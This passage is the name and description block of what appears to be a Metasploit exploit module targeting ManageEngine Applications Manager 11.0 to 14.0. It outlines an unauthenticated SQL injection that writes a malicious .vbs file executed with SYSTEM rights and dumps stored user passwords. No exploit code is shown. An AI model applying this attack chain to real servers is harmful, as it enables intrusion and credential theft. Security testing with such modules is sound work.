'Name' => "ManageEngine Applications Manager 11.0 < 14.0 SQL Injection / Remote Code Execution",
'Description'=> %q(
This module exploits sql and command injection vulnerability in the ManageEngine AM 14 and prior versions.
An unauthenticated user can gain the authority of "system" on the server due to SQL injection vulnerability.
Exploit allows the writing of the desired file to the system using the postgesql structure.
Module is written over the payload by selecting a file with the extension ".vbs" that is used for monitoring
by the ManageEngine which working with "system" authority.
In addition, it dumps the users and passwords from the database for us.
Keep in mind! After the harmful ".vbs" file is written, the shell session may be a bit late.
Because the ManageEngine application should run this file itself.
